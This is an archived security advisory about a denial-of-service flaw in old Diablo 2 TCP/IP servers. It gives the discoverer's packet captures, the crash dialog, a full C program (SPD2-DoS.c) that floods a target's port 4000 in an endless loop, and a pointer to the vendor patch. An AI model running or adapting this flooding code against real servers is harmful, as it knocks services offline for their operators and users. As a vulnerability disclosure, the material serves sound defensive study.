COMMAND
diablo
SYSTEMS AFFECTED
Diablo 2 TCP/IP Server (Diablo 2 1.0, 1.01, 1.02, 1.03)
PROBLEM
Viktor Christiansen found following. A leak in Diablo 2 TCP/IP
Server which can lead to a DoS has been discovered. For more
detailed information see
http://www.secpoint.com/advisories/spad02.txt
Below is content of URL above. While playing around with Diablo2
on port 4000, Viktor discovered some problems with the TCP/IP
Server. When a TCP/IP game in D2 was running, and connected to
port 4000, then sent some info, it came with a "Diablo II Server
Error". Anyway, this bug turned out to be irregular. So he began
to explore the D2 TCP/IP Server some more. Then while listing on
port 4000 with a program, and trying to create a game, he
discovered that D2 sends the following data, to the port if its
occupied:
`
f‚?g
eÿ§
eÿ§
eÿ§
lûJM
eª§
è#+ê:Í»ÞùJM
SCII codes:
96-0-169-5-24-121-169-5-216-9-0-0-7-2-0-0-176-1-3-0-0-71-114-89-112-72-111-78-45-68-75-0-0-0-0-0-52-0-0-4-0-0-0-0-0
102-135-234-40-0-0-0-0-0
101-255-167-3-0-0-85-170-85-170-71-0-0-0-71-114-89-112-72-111-78-45-68-75-0-0-0-0-0-0-0-0-0-0-221-0-16-0-130-0-3-0-1-0-255-255-255-255-255-48-255-27-255-255-255-255-255-255-255-255-255-255-255-255-255-255-255-255-255-255-255-255-255-255-255-255-255-0-255-0-255-0-255-0-255-0-255-0-255-0-255-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0
0-0-0-0-0-104-110-69-50-87-111-111-33-6-0-0-0-42-1-1-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0
0-0-0-0-0-0-0-12
101-255-167-3-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0
0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-87-83-1-0-0-0-80-0-2-1-1-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-2-1-1-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-2-1-1-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0
0-0-0-0-0-1-119-12
101-255-167-3-0-0-52-0-4-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-103-102-207-127-0-25-0-0-0-15-0-0-0-20-0-0-0-25-0-0-0-0-55-0-0-0-55-0-0-0-15-0-0-0-15-0-0-0-89-0-0-0-89-0-0-1-0-0-0-101-1-0-0-77-0-0-0-105-102-0-0-0-0-0-0-0-0-0-0-0-0
0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-74-77-10-0-74-77-16-0-2-0-0-1-160-149-4-0-0-0-0-0-0-40-201-109-188-122-114-254-176-249-7-74-77-16-0-2-0-0-1-160-149-4-0-0-0-0-2-0-200-27-143-165-24-197-31-154-251-7-74-77-16-0-2-0-0-1-160-149-4-0-0-0-0-4-0-104-110-176-142-186-23-65-131-249-7-74-77-16-0-2-0-0-1-160-149-4-0-0-0-0-6-0-8-193-209-119-88-106-98
108-251-7-74-77-16-0-12
101-170-167-3-0-0-2-0-0-1-0-18-4-0-0-0-0-210-0-168-19-243-96-250-188-131-85-1-0-74-77-16-0-2-0-0-1-16-18-4-0-0-0-0-146-0-72-102-20-74-152-15-165-62-3-0-74-77-16-0-0-0-0-1-32-17-4-0-0-0-0-82-0-40-92-197-216-93-127-50-249-4-0-74-77-16-0-0-0-8-1-80-77-4-0-0-12-24-0-0-112-127-12-188-99-44-157-92-248-7-74-77-16-0-2-0-4-1-144-65-4-0-0-46-48-0-0
232-35-43-234-58-205-187-222-249-7-74-77-16-0-2-0-5-1-80-76-4-0-0-24-24-0-0-136-118-76-211-216-31-221-199-251-7-74-77-0-0-74-77-0-0-0-0-0-0-74
(ASCII code separated by "-")
Maybe this can be some sort of shutdown message, that D2 sends if
the server wasn't shut down properly? In this data there where 3
eÿ§'s, so Vikrot started testing how the D2 TCP/IP Server would
respond if he sent some of them. At first there wasn't much
respond from the server, but if we send:
eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§eÿ§\n
some (5-10) times in a row, it would come with the following
message:
---------------------------------------------------------------------------
- Diablo II Server Error -X-
---------------------------------------------------------------------------
- /\ Assertion Failure -
- / \ Location: C:\D2\Source\Fog\Src\QServer\Qserver98.cpp, line #272 -
-/____\ Expression: nSize >= 0 && nSize < READ_BUFFER_SIZE -
- --------------- -
- - OK - -
- --------------- -
---------------------------------------------------------------------------
When you click OK it would crash diablo2. Then Viktor tried with
much more eÿ§'s, that resolved in that he only had to send
something 1 time. If he tried with a lot of eg. A's then it
wouldn't crash, but if he tried with one of the other "commands"
then it would also respond with the error.
/*
* SPD2-DoS.c
*
* SECURITY POINT -- http://www.secpoint.com
*
* (C) COPYRIGHT SECURITY POINT 2000
* All Rights Reserved
*
* This source code is for educational purpose ONLY, Security Point will not
* be responsible for any damages whatsoever that have a connection with this
* code. There are no warranties with regard to this information.
*
* USE AT YOUR OWN RISK, BY USING THIS PROGRAM YOU ACCEPT ALL
* RESPONSIBILITY FOR THE RESULTS
*
* For questions and suggestions email info@secpoint.com
*
* gcc SPD2-DoS.c -o SPD2-DoS
*
*
*/
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netdb.h>
#include <string.h>
#define OFFSET 10000
struct in_addr addr;
struct sockaddr_in address;
int d2_socket;
char sendbuffer[OFFSET];
main (int argc, char *argv[]) {
printf("Diablo 2 TCP/IP Server DoS, by http://www.secpoint.com\n");
if (argc != 2) {
printf("Usage: %s ip\n", argv[0]);
exit(0);
}
if ((d2_socket = socket(AF_INET, SOCK_STREAM,0)) < 0) {
perror("socket");
exit(0);
}
address.sin_family=AF_INET;
address.sin_addr.s_addr = inet_addr(argv[1]);
address.sin_port = htons(4000);
if (connect(d2_socket, (struct sockaddr*)&address, sizeof(address)) < 0) {
perror("connect");
exit(0);
}
memset(sendbuffer, 0x60, sizeof(sendbuffer));
while(1) {
write(d2_socket, sendbuffer, strlen(sendbuffer));
}
close(d2_socket);
printf("server killed\n");
}
SOLUTION
Download the new patch from blizzard.com:
http://www.blizzard.com/support/diablo2/information/patch.shtml